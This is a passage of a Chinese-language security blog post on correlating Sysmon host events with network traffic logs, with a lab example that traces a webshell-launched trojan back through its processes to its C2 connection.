wrap;">其实给了不错的思路，通过5元组来进行配置来尽可能的将主机和网络侧的日志来进行关联。</span></p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">主机事件</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;text-wrap: wrap;">     </span>sysmon可直接参考微软的官方教程：<a href="https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysmon" target="_blank">https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysmon</a> 里面涉及到网路连接、文件的增删、进程的注入等等，详情可根据具体情况分析。</p><section style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;padding-right: 8px;padding-left: 8px;"><table><thead style="line-height: 1.75;background: rgba(0, 0, 0, 0.05);font-weight: bold;color: rgb(63, 63, 63);"><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;">ID</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;">标记</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;">事件</td></tr></thead><tbody><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">1</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">ProcessCreate</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">进程创建</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">2</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileCreateTime</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">文件创建时间</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">3</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">NetworkConnect</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">检测到网络连接</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">4</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">不适用</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Sysmon 服务状态更改（无法筛选）</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">5</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">ProcessTerminate</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">进程已终止</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">6</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">DriverLoad</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">驱动程序已加载</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">7</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">ImageLoad</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">映像已加载</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">8</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">CreateRemoteThread</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">检测到 CreateRemoteThread</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">9</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">RawAccessRead</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">检测到 RawAccessRead</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">10</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">ProcessAccess</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">进程被访问</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">11</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileCreate</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">文件已创建</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">12</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">RegistryEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">已添加或删除注册表对象</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">13</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">RegistryEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">注册表值已设置</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">14</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">RegistryEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">注册表对象已重命名</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">15</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileCreateStreamHash</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">文件流已创建</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">16</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">不适用</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">Sysmon 配置更改（无法筛选）</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">17</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">PipeEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">已命名管道已创建</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">18</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">PipeEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">已命名管道已连接</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">19</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">WmiEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">WMI 筛选器</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">20</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">WmiEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">WMI 使用者</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">21</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">WmiEvent</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">WMI 使用者筛选器</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">22</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">DNSQuery</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">DNS 查询</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">23</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileDelete</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">文件删除已存档</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">24</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">ClipboardChange</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">剪贴板中的新内容</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">25</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">ProcessTampering</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">进程映像更改</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">26</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileDeleteDetected</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">文件删除已记录</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">27</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileBlockExecutable</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">文件阻止可执行</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">28</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileBlockShredding</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">文件阻止粉碎</td></tr><tr><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(255, 118, 118);">29</strong></td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">FileExecutableDetected</td><td style="line-height: 1.75;border-color: rgb(223, 223, 223);padding: 0.25em 0.5em;color: rgb(63, 63, 63);">可执行文件已删除</td></tr></tbody></table></section><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">流量事件</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;text-wrap: wrap;">     </span>流量的基础信息为五元组（源ip、目的ip、协议、源端口、目的端口）、预警信息等。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">综合考量</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;text-wrap: wrap;">     </span>主机日志与流量日志所共用的点在于网络连接信息即四元组（源ip、目的ip、源端口、目的端口），那么我就可以通过这个来将两个日志类型关联起来。然后就是对日志事件的字段进行分析，如：</p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 网络连接：源ip-&gt;告警日志-&gt;进程-&gt;目的ip；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 创建文件：进程-&gt;文件；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 进程注入：进程-&gt;目标进程；</p></li></ol><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">理论上通过自定义的规则就可以将所有的行为与进程串联起来了。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">具体分析</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">前面已经说了思路，那么我们来一步步来测试下情况，原始情况：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002403" data-ratio="0.36428571428571427" data-s="300,640" style="" data-type="png" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=fdfb64cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichcETZZcxj3Pl45TetKriaN3f3Qa1rbD7p6jm64t2dfyLLaIXlx7v8jIiaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">因为存在扫描行为，和正常请求行为，所以不可避免的造成爆炸，那么我们先去掉扫描的事件和一些不重要的请求日志：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002404" data-ratio="0.6996996996996997" data-s="300,640" style="" data-type="png" data-w="666" src="https://wechat2rss.xlab.app/img-proxy/?k=e411a23d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichc81ST9CGslsrm0lvP6aNb4lnZD8P0GagdFwk12DibkvHRNp1icLGBWJ1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;"></span></p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">然后具体分析下</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002405" data-ratio="0.6996996996996997" data-s="300,640" style="" data-type="png" data-w="666" src="https://wechat2rss.xlab.app/img-proxy/?k=e411a23d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichc81ST9CGslsrm0lvP6aNb4lnZD8P0GagdFwk12DibkvHRNp1icLGBWJ1g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">可以看到根据流量告警关联到了httpd.exe，httpd.exe下的php-cgi.exe创建了一个cs.exe，并且执行</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002406" data-ratio="1.3178137651821862" data-s="300,640" style="" data-type="png" data-w="494" src="https://wechat2rss.xlab.app/img-proxy/?k=6f9b58c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichc9TibQG4S2h14WRdj6VAA0r9NlMLFummEjRQRqEquAzKYr5eOsHAibvUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">这是在webshell工具上执行的命令，通过主机日志可以弥补流量日志的不足，了解攻击者到底做了什么。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002407" data-ratio="0.7039473684210527" data-s="300,640" style="" data-type="png" data-w="456" src="https://wechat2rss.xlab.app/img-proxy/?k=e29735fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichcSpWJMO4NuWd74po9JZVIf2kb6aD6QZBz66NKT6fXlI5bibvH5OJ3Krg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">然后攻击者通过cs木马连接到攻击者的c2上，也可通过流量/主机日志进行关联。通过日志的综合分析，可以将攻击者的整个行为串联，在复杂情境下，对于通过免杀或者流量混淆绕过安全设备的行为也可以尽量找出踪迹，发现攻击者。</span></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">一点点思考</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;text-wrap: wrap;">     </span>在实际过程里，很多设备的日志都是割裂开来的，流量是流量，终端是终端，导致大家进行分析溯源分析都比较割裂，无法准确的还原攻击链路，虽然edr等设备已经出来很久了，但实战上与流量设备的配合并不太理想。实验只使用了很简单很简单的场景，对于日志自定义了一些处理规则，实现了将整个攻击链路展现的情景。然而，真正情况下，会有一下问题：</p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 流量告警的数量超级多，数据清理和策略的编写是个大问题；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 攻击者的阶段性攻击可能并不发生在同一时间，那么日志关联的时间颗粒度也是问题；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 不管是流量/终端日志都会有存储不完全的情况，没有监测到行为或者被攻击者kill掉/删除，之所以使用windows实验，也是没在linux下发现类似于sysmon一样好用的日志记录工具；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. 正如绿盟的文章说的：完全利用图分析算法进行复杂攻击识别是有天花板的，外部知识的引入是一种有效的手段，但是当前外部知识只是简单的根据规则抽象出一些已有攻击的威胁子图，利用ATT&amp;CK相关的攻击战术手法。需要在实战不断去试验、反馈、结合算法、ai、大数据等技术去发展；</p></li></ol><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">安全运营的概念提出好久，产品也更新换代了很多，攻击溯源依然是实现主动防御的一种思路，希望某一天真的可以看到有真正好用的落地产品。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">参考文章</h2><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. <a href="https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&amp;mid=2247488568&amp;idx=1&amp;sn=34cdb63e1dc0125df6206257efd5eeff&amp;scene=21#wechat_redirect" 